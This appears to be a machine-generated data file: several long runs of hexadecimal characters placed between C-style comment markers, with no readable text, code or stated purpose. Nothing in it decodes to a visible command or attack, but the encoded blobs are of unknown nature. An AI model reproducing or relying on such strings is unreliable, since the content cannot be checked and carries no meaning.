0740b38662129e881529cc9e5999499ce0f703e2c19810daf32800f902a63a7bbfca24b0fcab4c41f2c16f02059cb95f1737522a811daa8e026c1905bd11df1f19de5199e4a29209e0554f7762980069941163bb6cd981c65f20ac794f9576e783c6b4527abae866957890235310af596d7b850ebe47a3a48fbb697ccb51188021a5db0fda634ad5727e8608209f79e49e3d86e661fa50f08b8793b86421432dd27fedd47c7cde744c8a1a5364d2efae8113f51cdcabca0a3c375daea30c29685e1ed33ffc3235685f9e33013da7db235d762ea6385ca2becd0ae7622b42f05b7e05aec9068d417d80552afc60c77248063a2c3a6b84e8808991eee5cc72383d963276d566ce70550d502d16fc0708fd00be45a021363465eecad70008ed69e895bb752d7192b15198130932e84a5e30fe57e5e8c2d7fec3524a970c400540e401cabb5e26a4f858efc207b32eb53cc446201bccf742e94e715a508f4e26ff7b2d1205c8f346adf105fea301cda7914fa20cc921cee3b0fdd6db137eda7fb1a77d29e732af52bb092de630095af33f2291a5c673dcd03cf3421f2c6242539ce95e87f7839590d913843df1a6621de5a8d728db61c7a6139628c5a18ff7a1a7ffe2e2cca51ade2c564588ebc47d9f48ac238a83a267e6f150486ac459*/
/*f193670a41d5f27511584f7ebd115f012d61bf815eb514787143c0cb325aa890a5484f03a4ee21ded1789dcc2bf944da14ff73652400512fad2cfa9385981bc641f1cbe662a073e937f128f4efb5d1eb19f1e8c96ad9085349932a929e2368524ce817c73f780d68b7d9ecccc1f74a83e4a95955c9f4c54830dbb0dabfe4eff3317553a6c53d124d0c190de161c3a369f23b6ba94c21024c8c3f51d96b31efda1ef26df7b8f09fc2ed86d339f43c117495406bcf9a9d59417d2f1ccfaf1e18019ba763816b9287e1ddbc4231060baa224d157c59b0331cf1ec85799c5e7c65840aa5439d9f77936feca030d38ae14cac29190462b1dd612eb6b978afebe7dbf79bcc01fb5dc551620adcf9d10e00887596be44a2264d76778d4c73f24a3610add0519ac753350947ecb9fb09c8a6d856f53ea834ddfec8c1df559c43c55c3bdaba81bb8855ae5d4c38442e5039375b48af0ff3a30737f8e49304e673e5f3d473c189ab5e7b226a9c9d0c29b78f8c0de4244477e92eb49be442d7113c804ba0645446fa83379baf129fce5ccb220e1784500cab8971bfd257e1874bcee4faa33a8663464b3fc8b1ebe6779e3618e85d9742f5f4ce346f40ac06aa876792aa2ccfcec9b90d495f175c7d6df156e9159a01df22734acb04e4ac4a17bded31cecd9cec89644b08b69f66b4979d957eb95613280eef953e55d65b91ea32b9d2db7be206cbc5d0fb5a66bdbb8f5e39a725d391c49db177e31d6c0ff7e15f713db302138e8456fa0f44ab6bb9215e1859c62f896d29ae585aaf82595b57a195097be77d6f6b5603e1745ab76b2240477862363c8eaa8c86d35fe0f64e9400c3399c828ea191573e80a415a6dbe6f46ec5e9536ff07a3fe85639baa6781d39f20ebebe56d914a71adbc42bad019eea3f75ff6551910ba5a055fa4b717bc06f1a255b00be4cee491acfe996105c9941932dcb4b00af8011ce85f12377f10e6bb5cff50ba1d85643d48697abc005252fb960f9ded69701957ab43d445000a2c4bed8a2512e29eb35840abdbd85a278fa4b78ab8d62f7c1e79f6bf93714add4d3c5e7dce17405a8dadd35c81d9fbf8f952ddad9ab0b7cbe57912a494ed7c5e6a1999d4330cfd884e54539f9904700d566e07ebf2e54dee732c148cfedfe63103279699dccfd7507958d24b5fbfe684f7ec399430a57468b8a0a395af9960d8d90a36e23dc04ac0390a270271ddb5d22f37d117e0c2e08a42d6ecb22894ecd8ec9d4ba2c8a96e776fdacaf1da540e87d8f29a85e8de6128d04293fc55110082448f7da7d327072de45f1e5e5f1af30a0acea003a45ccfdf22495d575a8a91f0173c48c37d45c8ceb90f6927afa8a1542519c3a2368f817e0bd2531bc9177e15bd24703fffdf309a5da425a490bfb9f80f29b2d56893249f3861323891cadd3e5a729d7b0ebb0a0cd96a60252d56340342e043803d9a4e45cd4f4566f810b176387fe9683d2010a28afe1822f4fe4e30ffe25d4d40aca897d7ada38decf2f158ac6daaae58622e0bafaf72fca5e86f2b3955d2b82affecc0f19195688e48963b1e5c09853d69069d786e8cb0a412fc8501bb6bf9230c18570135048e802a17cafd25fd1dfa9310f3439d1e819ca7401bbce18b009d609e3f421c0dba3916526c0963bc35e7ca88f47a70ef3e5135c3da830d968663db58b3a24f9146e09ab2a1a7a7508444b971b3a55a99e770145807ff5513ef28dea31f6be8fd543c840fb623f70f604c2f82119bd65b1455a86d768813f56b4ec38c054366339bc18cff4c8d44c3dd5354ef3a828888c8cda0d929d6f4d1b0e5586877145fe84eaad8aff57f0ecbbf7e0409942e7a298aee8823fbc92f8efedfaf603a175e3921dafec83f6bfdd34dacdacee6e7c752244f47c258b3ddb8c4cc87df05d4d889fc9d8a7e045cc94c5840b6a2d89ea83d90f92e3b6e2c93d56c6a8c8798c35aad1c581baca837c347b25e8425778779bca0d59eb7f1d07c57d8598e16dc21f190e06d34d788945038dc7c15dcffc63a7a22a034ad4a05d69c115d8ff3c4072933dedafe0f552c5720a8db883753415a9b45119a4b9924c653f8cc2029e15abed723eea9a89f2958e1b61651e9fbd6980deea4737b5c1e1c0a2d2df7ec82550ae9178a888efc21c56398e24c549a139d704db07b99dd09196c9e774ed94902e31f2985a5b11cfd59a0bbc5f3142b536064b43644c67045e8e4db856792f66ef9b84b926692587eecfb1c7395b062589ef0851bfca09e189c4e49afc2bf6b5e7e77e144f4cd4af6905149cb3339cc62c297570f721e2ab77d2c0787c049f831696ffd85bd45f31dd392e67b8202b3680cad54300508d43fe07cd30b30ae98a8205623eb0883812353aa1c31fe257c6a3582e44132a3db4cedfa6f5ebbc27c6e9aba2360c52954bcaf2bc9ba73e5a4496dc63409269c1a5d8b9b4849331dbbf2ef72cc3e480c2d37b75a8590e1d2ee82de266da9490b4ea8efb1fb550234f29d3590d93f966972aae992b075e410d580a6a4444c879b775895caa5a45c8514bff769fbbb8b621724843ad489964311e6c3c561bf890435a7d9f0ef29440171335905a01f94455375c958b78d77d4a2ace61c5bb31074a653e6d172fb66ae9fde9635e75ad80b01e244d99df5f1140f6425f1f48f627d03ef2683aa55f543d92f7f2c0e2e4858627c40148364c2e7a99b26c3d5c18f57fe7ecadcfaf609ce86561de71b6634c1d3fd0fcc0e2318908e9d20149bbc6aca7debaeb454a01242dc9c53940db93b7f2cdbfe443d0d4c42ba64307369ce5d16d4e4c65a604aa81*/
/*2995cdf709f4990009b00e75b503630ed06de9e87f20d5a1c31997d90da6ed073492f44b7e286b0153c2831f948311b3079bee028d521548b70e295f2dac98a4daf1614708d45c142fe5b4f732c5da9691c83ecd4231b654ea76b457e8813d4b37b8fdad8771be8553d34424d3f87b41aa77917e9b4845a0da50fdd9f3d49d45276be3277e4bca0f4035db1eb015c7dec5a07238abc49f0004ee270bce27f5279ab03f1dc22fc895d9ca3c324dbbf3c6b05e302ff9834e666ffa4f653aabf359c8453bcaa5b90b87d972d39d4ad934935044125838e60c625e941a90dfa1a18a75ca720ac566079a6f1330cb40d1aae67b4f48a43c42800175993f0d35ac079c30e50302092f166282fe5d7b41f0fd84ce04cd513350f9ebea0f9831f4df553ad651d156d230fe0c8046a60fc576729b7ecacd9f215cab4af4efb4dc0a4f1e599855a5d55a71d85ca4416d47b1ae84e89ce6df5bc228fb122fabf29401f447afb831c649a23f2879249645d51b826d9fda531fc2b5dfa032cd45a555f62930a9b3e3cc40aa86b841c9f1c9033d750ac9dfefce1f1ad2323d219ea265200d062c16574acb6cbc21737499c4d899263fba54dc36cc570234ca4eb8f3434750368d15947923dd3d1b8c242d390dffcff134cbee0b7a4c5fe94c6a52472fb5de129bf1416c1ead543a153dd5260ef54b2779d35c594e68f159729647d11305592801c7631137593fe293d17c5a643bd2152256ad9877985d42d83cdfdb89d3411c161c3c5efd9925d3f63771c884d45806bbdc3999e679b00e851f4742b44b76947292ffc531fd56d3e489f95ec9829c0bb25ae47ce98d3bc471c9bb35af0371749456255bbd32b2b258daeb55d77bdbf926ab2bb88fe4eef80ef90216da8579c11c09d496c12ff602bc7d382e5c1129b85903be2bb558619c067686535a835366973393be7fe369fc9c6808be7bb3f13d63d182bfb8901a57fc784131327e948e8c4a8faf5cb23f7232a486b12e34095ebf55f0cb2cb2ae26ee1d14705f2735282db25718d445c011e1a168b030513bcafc5f9270a98a552f82553faa0ad17d5db931adfc059776421ee32f6396a549c91a10ee55dabce6e2735a2f55ca8e2f2b99eb00291a155f863d0f03e8e943894c2923763df714a741b33c960d1a497dbb1618744451fb60d7a643af57c8ce34654b3b67a0c0c6a12e89600f0746b8a58f2bd5895bb561e71735c174595fc18fd63755d810d7dc525bbc593e0788d3d1c64e3385616bce8db1edd9617c77f369d55db0c3b1602799f3f4ddabf6e0fbdc10955ec4f1434d3c1e64e58c6a6c4b244d48ff728622f841ab5f5065c6fa2a269382642e98746dfcc917e4126c780e948407612eaccdeb2faec81e8c737aecb71fe0e561a2040df109473d2ab9c062a9e7d545bad769685fe0b211bb88b390149e46fa58d37ed2fe64b656a9e6437c5c6e91eb500686b3e00c7b16b26bda1995ff56e3bc0dd41f8244a89bf4af825a381738dd5fc56ccb3d7f310a20cf211f9cb0d3d5673b4641af98a69222f31c78016a65efe1fa49e99b1e8050a66233e74feec99443a2e8506eb84d06f1aec5ed7b62f5dd28737c2c553960d09877dbeedb61fe323f2339c4c4d4a1c966f1f9f47d60043cacf035382661fb578d6af44cd5520f152b9552c29d1ea69c64a7919476c17370b73bbab0a378e2493ac9050d3358ad4408a1b19117c11e93e300099bd1a4ca9f3f181d6df304af7297574491ab166ea954201b0ea59235fe54a291457566bc4c3e86a28c0ea85facd8863307bab1a1ca5da74a2db7f5cfd370e521c14b76950f7553256b9c867c4f09962dbb1fd449db4d6cf3579fc5a21e4b29159c2d9e335576b80a3e32add4a89dc543bd4b466bb374e9873df06b3612604fc4617ce12c76c6defe0b92f8b261d2e9dea758ab91708896092c9836e64eb3300e1d6493c24f4abdf014578fa0554ab7c50f28eccc30180eedfcb88fcbdba3c82ed320aac5c68ae92750c664f4b0e86ebaae6603c299fcee9c67134a59eb8c624b2cdaeed9dee149e792402e1c487a90ef7d4ed9c13b4d6699008f99af7acc4964f41d75b182d260947edad83ddf0f9c831ff8ef3bdeb3b7ad2a1f2280dac34a11ebcdacd3b246768ef82f926b1fb6744d8bc293483dbde0dd51e23474968da3b7280964264b38d89e49e718c22dfb467a33247ca4a1d3f4bba1733cdebb440a342f907d25f2085fbb9fb6526d7af8abf9aebd52de63e3101ed6990cae57e386cf6a4a8d3a4c07efb453f9bff1d562b54b84e345436bac3dca9ef3fa42f2c8f537aa718146dc114eb80f390dfb513951d99024a522c2f0e77d0a4d22054838027738385d7223662b0582d23dda775c0201217f982dd55af9b6a2c3e922500093a5b1b3de9b3820248ec42708b0f7067f3cef410979d35807276a0c9534c1a74a4288ddf775af72e8dd7113d55e1e2aa046a53cd2bed3c71a4b15baf466d809ea2946ff6b5b2356d67f6e8a434e13364e9b56c186767f30026aa61eea580865c78df6d27c7e0efe77699f9649682dfb680288dfae3be3906ded0b17ac168108c75f639722cec42c1391c8e8ba81c8a9d586c2b4549bd6399041d9f2790fa834ae6338a1ac09a43e7282d563707915e8e2aaa325149fbd0272fb89d98ca5b45199a8b44fd372eb85bfea27bfb853dda3196fea8469f7b5d26a623b7de27d120c83b85350e7e31cb58644380ae7983f227a73b7b2fc312084ee0fe10447d2d13872969205612b9573221dc86eb4156680bda549591cb88e01f5a492967483f32ddaf9991bd2f2*/
/*22100dc2d756af57b17886b8ee62e036d0ce9eff986e2279103bcd07fde97f41359d3adaf45395ffa52a1f4a9941e3b211a5a86a868ec6e24fd00434ec004a48df441aca9a020235172141c0abe9a40fa11fdc9da2afdbe8233fc30d6dac499a93ba3d13d704ab618f177698fad66d6ad03ed0fa9350c47936a5c497aadb497ede4f71c1551f7a5974f6284f5536d8c64e3ac6d62df593743e0953b061a9e08054aa146319172bd2f6117d3c4272dbbf6e1bcdf2cb9a1ae708cd1ec38d8cc77e82d8f59fe91b06c55fcb74e1f4ef0251a4c1dfc202c87318dde142cd1daa771fdf15d673c3a034dc23f635f7dd5df6de890b7cea3cc290db82285889df6aa9fae435a5786462ce2070cac4b2b9d6cf288ca8fcfdcc30f986706e402c18aea23e5b5558033f57e1400a4500771ee9b6fbea9b600fd71c3ea39c5e4ff667e4408941b60529681edc46d8f0db4415aa84376d3b6856e3ef6fefff0b8c624869d39dc0b8b65016e04671c88ac7c95acd3e7b417d9f3bab9844904f689453db7aba4083e2bf403d968af2b26ea7a5b44f7f485030fa9327d0bb53bd0d64a4fbc4756c9dd7e86a5d7b6ebdda00ba94f88c3061dc0d4e84707797c37518135a0c16b17b7251280a910e6498c8d52b4bc439fed225f7cb9dc71972a341cf49b02c23a7e0641cb25ab7d4cb8cf3a32c2c8fff5972adf8e8cb3b896b2a9d20d2d4d02c2f300acb70ffffb89a8e4915f437c816f191ccbdabdf21bfd7408d60a6efc186b6a75607f2d9e0e4cdf5859d62cae979f2da8b5e85823e6886e67955c80af9f8a0c4d10bab58bd381643ab0d85a71f99842f6a6f0599eb1652ce4fdb18ab828b741de127c05696ebf5651d5dcf9697cb69a624474ad85422af54aad32b3b5ee2b5d2d11e9681ef95bcf7d738fa6635dbbb77019b00bd60a04c386373ffb148e5d2e223368c18051b647fdb67b98489f8afa595facc9b382442702daf3f03a4a44bd50b8e4358610155d054de9832025d409ddac8bd4784f5ef62cba36307ce19f89051af209f8edeab53476cf47fc38219bbb9680a8766fa7065a06200551ff39466b86f8d3c3c36384c71a6d26c84768ec7e9db05beaaaaa0ef5649e54db22e96c045cf92b6671457049a0b12dbdce55781e6d44519721cccc38b2a517e7fbfbfe369bde487eed7683a7c031d8909f3b12d0d12f840ba1f67b35e2087c3f03f51b64e419f1631625daab267a6ead3f43faf8b8615848311d71bfa92e5c1669e5fdb041ea93c3f019658faea1f862ca5919102f81927bae1b6e9860a6f2ca9810528aa5bd43ff72e01e17887883fea304838477a52e8e1b92e289ac97bc575c8bc65f669e38c66b7d596f747a0d6bfafb2b298df4150905c83d3f34d782a00b60d8cda83f084060b3deb03b78c9c41ea019bbdfa1b0b6bc4c502cc1fc182421e608fd606e82ace4e456118b5411048a0bd0c88decb7801d73132ac1606547b7216e5b573ac7774dee3091f56b83736b3f314c6000ba4bb1bb54ec607b8e03480c418cdb690de4f8eb52d4d5eb009c647410546c090f47dd9ff2ecff61f4c309e1345b555a72b660214297cbb3becd61e78641addc54c45f10f47cd191346d90f8191de6327fac2e2ddc31f35436089d07ebb6eda465af2a4628d918ca61b0da5918744942d57895fd34badafeab36d5536d75ac914ce747c4c2a903e28faf0134e472f4b0fe6bca887c839d438f44f2b6d4d91a6eb9d3ff60e8a2d4be473d488951e5206fa8dd38cf2c178d9e1ede9cb15873e722e5571de513e2c04811f60b2096d5400f332365e973539c6aa1df99fe08f25404f36b4bbc87cf8fef2bb45505480bdae7d659fba21ca63852041fecf721f51f23813315aacc01efde8a1377e4f1fbd6a4ce23a12e3199e43a27df835e5b14298f1c508e02c9732fb1198162a27db4a92453ef452afedd4305f7e243ec333fbd5112549f78cb8da02926fd62b0771fe960dead6ebd56977bd29351b8b62154b2520fcc0faaf6509e830ba8263aef616f583fc2f2a48780d483d53e42b9fc3743d11d8384004ed71243b63972f646f9d31b8d4abefba1cf1a0365d5fd571ecbce9e9a2821b49035abd3f0ec96cbd2e5f9cf72eaae0efa3b8ece0583477724e62b5f627a27902f7ebc20c1cbf29791aa6fcdd9ee0cf56a082922bfb923f7e75e3930b01a8fbd2df0aab10e7d98bc96b6bbe3b301235f45f2efcdd67aba0aea82fb2935c3d941a1093ec6042b96e763324d52ee7d0d38c0ed94faae5ceb8cd11dc3b8409865e7565b44550863f2f838f42779b07f8888f263e44954ecd17f9a60f429e04ec7db2f115bbbed36e16dbf9b6e5334ae1c4e57af53878aea4c8980eecf1f42ba39d7bf0ffa441dbd07f6bc1ecdc81ec8f975562b5236d73aafcc1ab5cdb0d615cc18f035a3f06e84767427825676a69b932b4ffb6c7b2df3793a2f5dc18e674e8e6761b49f45fabd28b9883d8f299c054bc8b09cd31a160b21d645d60243df93736423203ab7481c7f9c67322482564149528ef41b2822ebb37b516359c92db133ada851ddc9baf405fa12ecf85afe8a877123179d43493312d4d8450f83d93f8e74ae41805ea1f30ae46852c96d1124cac58a7c2a00fad0fc47e6721cfe05227e77df103743cd352666a7dddf5c4dad06849f5acd742498771e4a4e973805347eecf1ac6e3b2c95ec0f303b576d03dda34b33d580e47f9ab621f0704e0ea3cff60733574190d99836c0fecbac266d8027e33f0121ad935783757b883521375b8cfb523b562ceece0a77b7e28aa01f49d3f7697c025a02b63049843*/
/*b32940d6b45e55864c6fe63dc720bc87d24c9a48e4281e4b0555c77f7e88e5ccf3a19e7211b08f6ab75c11a0eb1b387c44cca4a8f592e2aab0f3700138d201fe542ef7dde0461aa73d6fd01838d301a54fe938c2183bd405ae7ef4af8261adef882746679d66ec70ed61cc8613be721ad7c84ac250f443f7dc0fd3b6986b0e8503d3950c7edebb57021efdce024a6f27c31ec6f38fd05f0036ce299e9c9d3b8cd5d717922e615f56efb10a0bf217abd7a28eb28a017bbe57ae644f6655a127985290c96bcda6ed73f94b8ab7d2fed2fe7bc5842f2760988f30e0ad1a5abff85f2d196a8a68962c1a631e6a1bb4ffc0a9b127fdb2cd2a2d46f85563d26d88d7bfc38ee15c70adb847eea26a8d6ebdefc33a5a5df9a21ae9cf983e9e457e57d1fec3e4fe81f3ba4a6ddab8f6275f293534dde7d61904dd482db1f47a26422afc485a1b53da8ea38d79576c0ec1c56c9010ba3bbd0cf481d3a8b66ef3c0db0414e67c68255889dcf70f697d5fc5e5e10eedaf1a3b8a9310036e07152521906f75473a1354e7d8821e02b8eb7ea476ba3537f520299c942d510931458df24e1e67cf97dabc1f01e8b8f099aac5b26b1ea8cb7106a09ffae8aa866f97dbb486b744eac79dc913cd757bde5ab7ab1fa34214cbe961744fa28f1e0f3b9468494c5b6a849ce78e8dce38d5e574cd8a70ff28554482fb672a477749439634d2be7542a628f6f855ad4ab5ab3a23a903ec6ad096b3d670a18c97c25068426580368733acacbb72f8f3e7bdecaa91eb64c638f8e3e7e7bc0617c25fb6621f2fa2ff25370e10ae837239880de56f10d0dc9dd105dcd2d2060c72263a70c2a4ac55c347bc6d44bc975085e6957ca92924ab97d3731689ca64ce3341fb9945d4d69166c3435919ff4789829fc9674acdc4a851c0a27effb9477aa6805c6139c83fd6250f2bc3ce26bce49a342998b0014218abdbfcd25b4aa3e58fba8594f1e1dd88ad1b465cf43f3c0d6948f337e404d9618f3da9b34dc3858f2c7c2a114aac6b64e73808023317d55cc7290b9332de408b732cc0827e1a2bf8937fe8aedbf3306b7f0a0fb06f1f7b540781a6531f16d8e4af9c86402daa3533d17eacffbffdc10795633a7fac9d2a6b9828b8372ae4c002c74e335be91b0afaffe7954cb9a0ed8c546e1d0ebfbbf02eea269fd68eec9c2c3155312f4ab249dc47b3c415831a1fe8c6d934e535560b8dfe94a42c44c84d0620ce060adc5b94e45bba49445206e8a1b0f8de02033758ab36a501334a90933582f78988f51b052515c92febdfae4b007b82101666dff471039d4f2ab55bb230398916e831c59424daab3aa5133ecdd125c08f0898665cacf7102724ff6a1f51881a8fc64dd671f99ad1a07c0c7c789fe59d54f3f0158ec51ca48ef8228648dd463e8647129a9d766f43d126fa2afa54451b624ca235fc77fa853695007e7b992adfc6a8c5b10e232f15cdb392e9dec8fabf1f69821e6d81cf65c4d57a8f219c2ba045cc4f9e8d64c57fe1700e4eb25582d53eefef161909c32170e211275b87946bade5e0cc5ed805bdb3eff5092e14e63c6b6d4c2fd5d10d0a609562e2ce4bdc17528bd798fa2a5c1c2425b410f0418aee094b40b1c034fdc8795a559eedadcece6d716c052b5be4c1959fc46632e1bcc7ac2d7acbe4fff3a86afb83abc43f77f8e5f1cccdb29c3336a060779c48d0d20703b4420de457de80a0e55eb9d830b0a0330b96162dd392c2426622a3869ea64219574d06dac85db83d88785c61fba63f995cd225856a84d039d3a1b9cc09e15aa542219ef0e1baaeff3966678e25af86c71ff12ff02829f9515ee53a3d9a521215894c06c093fa7058949c966ce3c03812117df6b297cca78ab2184bdc06ec5ac2c338a3171b3eb8c54a5cff4914dffe637e6b763c491acd8ff112eca6d70c4fc577446052131eaa4bbfaecc3f40e0d069a4b41e94c5bca3f5f15d33f30830618c4ba3acc44af10ca447881181152854fcfa20e8bdf640fcea86e1aa25e121da7e9ddd28e759d4b41fb96ec043847e1754c478ccd1bf3f366a9781ae38b2d648735286d99bea76341131a2463c860ecd13f867bb69707991071a2c984e7473a29f45c404290d439a47022f6f20863e8c197649bf4ec995911837a439a79510e9891d0737cb087377353538c3cf534997070c73ab6b6c13d9033a324a5e49ed3a056d785c44bc4ff85e59c2a9f8dedf82beadf18a3ebc57bfb576a5463c14921c64dc744aabd22594e7b0f43643af54c21e8e455882eb0198d03b60a353d9688f32c103e3c5d68b057ff2d4745ea28e7f285b8ccac78d5b6f48e532bb117c91d1a0bc6748fa5bb3b79c6d64026078bb7fbfa64f876602fb5dabaf3852e8a24e40a9883cc3013bf11123c999717de3a983e9086946b6af9f2593172827dc4860a0d6c45a3445bf81b2c2b24be9bb829baed966d8394332f4db78232028f4e13375231c4c96ce32fd4db98065b8aec6ac39fafff82e6e9710a17ef4c56a5cb7b836dccc3f6890576eb127e7a4cf403a756253048e1de05b3a24cb3ec4e8744408236d5abe5cef120aba5e4fa7416b91c248298575789b5faeb1eb8dcd7bada404c5a49f082de35fb93cf80e307a7a6fa91777061f163c64107577fccea8c7c0971fc4043e698c313355db9f81ba2d33d5e55a23a50d66a873e2ab824e8158020425540529e04111c037852b843a1498df3b19a6760ad24dd7cba1a07916ab83fdcd46c267c5618829c1402c366a3c3b7e24a61beac1c26aa04a98e31ce637de861d4c5deae43576a639cd94c5128c7398f196de49*/
/*57c4ee2be7417b16bd709363cdc28c66fc19f7166c577e72299c61fbe81b7eb92a71dd7927ab99f9092f1929cba82f7a2a825fd1cadd060eadedecbd65c305de9b85d0bb6eb045d0f318f6bad6f91d8d7a5e427e8095bab20bf427b90ade3a2cbdd8477ade7c22d094cae01da85e71df5b85c9deac282d3cd596e8ac528e472aff406b51d031be11ba7387f81774f8803ff64f9f0d82fb44ec1c5cb144930120349a6931bdc90f7d416d820d536f6648cf10020bfb8e8eaa4ccf8f79b09662859e3c68785fdf965d73d41531aa4a62a8d0f1947dd72dee091e12d67b21e7b4946f1e3b0a7f27548edd3e3994cb76ee420be43ee8fdcdc8eb48d8ce3916ba24dc7de0805f1bec28de9acbeb0d2d2504c5a9fe59b9dd049be7b849eb846ef2ee532f9f1c40ed471dbc02e960bb975d89597c7c7fe65809643b799a05441a575b5f2478265a908061553d81123e81c2605abc443cef5a2dd88889ac3b3faa518f645a4d0427c72a9b0d46ea586bd6a6ae286000916e554f9f9a64625c2e2eee74679cbb1d4b6b848cd53d4927e2653f7745e994ad46786f77dc07c249f7711dc65b565145245ecbd92ee4d7525d58cbbc235fde144adf28141dbe4d78ff8c9a045dc3508e309b06c043d76f2a1fca7a60e8d2fa92f948fd0d52d42ed51395b5132c4cb7a6d13426c2f2119b5d704222145a16d4dbce807c095b7b50459e87c2553c55cf040d6ba0583292d800f2e5afb820954a448e4c829c8a21fe96029ab365c14981992ffb245ccb651d54afb3a2aafb4836e49176a21dbd725d0affce88f82c91429ef0096b43e078a9efcbf3d651e300fa41ca1ea500748e7872457203e3d903c8a3ef8621a8cfc2cd944d08307f805d692a4210c25949d351e2705910747433566c21990f505807c3445ee157113a1ba927de5818a575433e06e53b317be88ed831e0d19fcd0cc96ec4ab1b20b8a36b74ecb9db95c3c64a529f8dd5bfe1cd0095be9551e5a3d73616bc021f41f929916246812392371dbb473df584edfc96a924e6ff65b79f0e689bd94bb233a9e07ee74ce7ff0253a1dc50f810c79687deaf8efd02aa024865764d5d9fe05154e227c670d9777910dc9c46c5420d8c79114305247b75b6778e5da755eaea51a0912c903379ce2c1bcb215cd11f338f4b0cf312e06dd8e316aacba34b6f29ea8b6deb6047835fe4b0ad9464cf8051ee0634f0c5a323f367d2833160948ea0c80c1ee43d85ca8fb99bf84cd40ed206f2e8346339b3b534608134154039decc1754508fe106d0c7e4404b00a11683149010431ca934a7f514d5043772ddaeeca45e62f1649331c0e40da54d15cce79bd1c4246916e4bbca464cb71e57b40b45b9f6c303bf500beda4f5a09b0cc0a0bb126e0c80b549c7fddb77763066b51992623197f3d293217a3888e3ac4fdb006e58300751d6cfb0524a69a9cdba1ef64d3d22ae7238933a1380c2858b66ff35c0f44dd455c266517e3df5820fc61dd955af325370bb756cf23e41e8f6240d18cd2a5ab493c28cec883a8cfc77d6c4ba9e27cf4766423622f50c9d31c089d6491fef59974fcc414fd116d8a1f833c3af77dd7d7297ac93b9d8595761fec280dda9ce156a15a59ee4a75636c473b814380ada277fdd00fcfc53a98f789d97561a45e89f344dc234995348ac0de4150636a0cedf8b9c67a805bf00e5a6d2fb2d8851948bb4353cc6832111dc878a488b6fade416932425ee082deba4f8cf546c3b6fc98732ae64b465d280ba98fba43372408a092ef7109f3a89714a72afcbcb2cab9e76dda52935b83606641c1784e1b954b70232efd2b5ae5cb645de2ac81beb60523e469031f9dde77fc22b9038c46319ef4fa4f5250843cee8fe186a2b4bd33de6c8944c204d74df74a92b9c9f06a6263c0a202a0525d157daaeaeb94533fdfeb3252bd7871cfdf9d8de1d42bce8b42319f6967b5ca44452f9257a4e45b923830b85c1fe7c5fc0f275b03b8028ca88cf98161f486537f4e73e712ee62a28f974d30cbf54343d2cdecd0fdcca5df517e996b6c60519d8c978ef44de2f1acee9649c18e53054ebdcbde8429442c33aa539b80c86aaca5b40e5bbd803c4fbfd6e8242b44062104a2612b739a584eac6f6d23ff2769df07875e94dee812a44018804c75df6a5172afef3b735a3579804c3250cb9731f07b92cbddf301ac55413eca2dccf580d31306ad80d142a52433ae73c0aed7adbebc64e97d98d9bc3b3ca8e6e26353ccb5a183ac419fab04aa77f75f09ce68353d6a103bacd59a420d7e3f13f79036225e82c6e35435a75222b61632b989de74593f4872e609287750a6dab4c8dba548f655b00fbe1b43759e9b153cbf50eec3d4c6950e06d79355be4ea6ae1a456d5985c6b844203802ce1d96fea810339e99cfeaf47f5853cb5ed7ca772b73be09f8a74875c8a65a32c9989fc8227148ffb2a120283661994b37d6266bb36ae22da6cf01bc493f98e9d13ccd701a964b73529c5b3880255f1a6953a362f0d8affda903fe67890b1439674d858eccda3ec245f97e6dbc38205a413f2aaba35224e87c511444f9e4b33acaf334658dacbe6fdc9683f1067ce1074099a0be97d4e8485bf3ded29095dda4638a2fffcf248a48ab3e592ff5c993b02e5b2e744b4c24c5a254879c2aed980de84cae7095021cf6769d4691808cf2e72ab75a33658e29efe0456c4741705a503caccf06c631df4933e1ecc931280dcc0a6dccdc61baccb00177eb0eca47bea4e88b21894d61345409256d7b562a12df7404edc00504a45c2a8278098f4b7e9ec0147c1642b65ca9f*/
/*70ddfe6a4d19bde1e172e4d33115d8a7f018c09be821212eb810c50367c143d6576d65d41160267ca857a89c746df024fac943ad34fd2ceedf278df72d1a227ee0accb5a9d10b60d2e405b59f0b40d579e06ec9e8094681715d761cb23bf0fd6f389ca4ab4dc39b85b48955d1d0d5d7794cec9f781790cc7294767aeb3f01040cd02acafa2e04fc6b36c036d1728d2a53138d1cd610cd4147fb9dabf8966ae9d4ddbc0a5233fb26732016810c27ed6e46284359342cca33fbe2f1e2382b1a9dcfaeddb6a48227d2bb4e5cb3e0173fa433644f63341e5053eff434065feaf87ac7861054c40dea85b04b7f26094bc8db6652ccfdd5951354e5c8dd8429f0981e20a68cc192404f3b8ac13386131d65d341c8c75456ac0600be79fe7963b16a416023adbe4c6b6a623d312fa766a7912e71cec61f0f457651482d2000b2ebde2e07fdd53d6004bc1deba890a91d9b84e6048df68cc2322a69bb1352680c9507bcfabf0e5a6c141e32abbd7c57dada0e92fe6052e8303fdc6c8d445074b9b6d36d3c036fb8e0710b4af75c955428cb38b37a03287a52f4cbcdab9c60fb0a12e873a957c8e9ecc49ed333a13d3357dd6ffefb0b42ea6825519d04929fd9c6f0a274310f7b6d88d7933d29c08cf6d6ee566a832b7d30581988e967a7f3557f015d0ebbe7f7b46d34f052e6068275454eb05660298b917da1c877a661932af907c69231b608987b4eed35970caa2c0a9ba6f6c6536f4cbfd3e25ee1ff7ddfe8263218e92531016795c33d2ec45ece826fa26f839bf1b3a6de102f077f20d6fbe21f2b7829c9f9b8167bdf29b532c1bc4e7f4f3ffad5e5ce0fceb83e0d78a8b20bcb81fc6f94a0688ab103b8b2849ea443e9899187d3babb37cc14e04c319903c965c054bf5158c694eceb500002cbb9716d01723a8c4b37114b34793a2ceec06baf8d4271f360f768740335fe57593b0aa10c56a8c8a421139427b9f1acc035cdcc18bca1f1d878e7f4e20051f66283c9f0c557686b2272e28efb7697b0c40a4635a5261904b7edaea611ccf7cd4f508788b6e401c80fd8e22b865415bf59fbe07997e82f37d6561604d4b1b5db55b509e63d2e68cd1e4cbf7692ee8a189ac012546e70d24461f9f7ce4a2cff25e70a93fefa68061d89a1e4da4995064980ffc597076059d40b07585cd516e6ea40f72eab8d121f952121fbfc30a8f52f1ab962e191dde0aa0dc639a16fcab10aab452edb2274daf1695c5dbd27f65f88166dd148acdefab2291e5638628e9f14658e97e70e7825f02887a8756d340d0f6f5ec06c9d4be38b5fb76506d7be83934752302cd956d35c58d608be4878c89a8d7b11a7388b2050a87a641ef0357a6655bac59e3b0825c93d6835ff71256d84ec0659d8b71789fe66b4b212df49dbfa3b27b7df79ef1582cd2dab8b4f45cc73bbc52c6a79cae9bdf69ab29d4c3847ca130d76670396ad0115ba604d40fd328a1cfc2a061c2fe2cb4da8ed6074af99e49f80c74232bd2298424841dd140a8e705eb62a9d74e21d7aac2bc8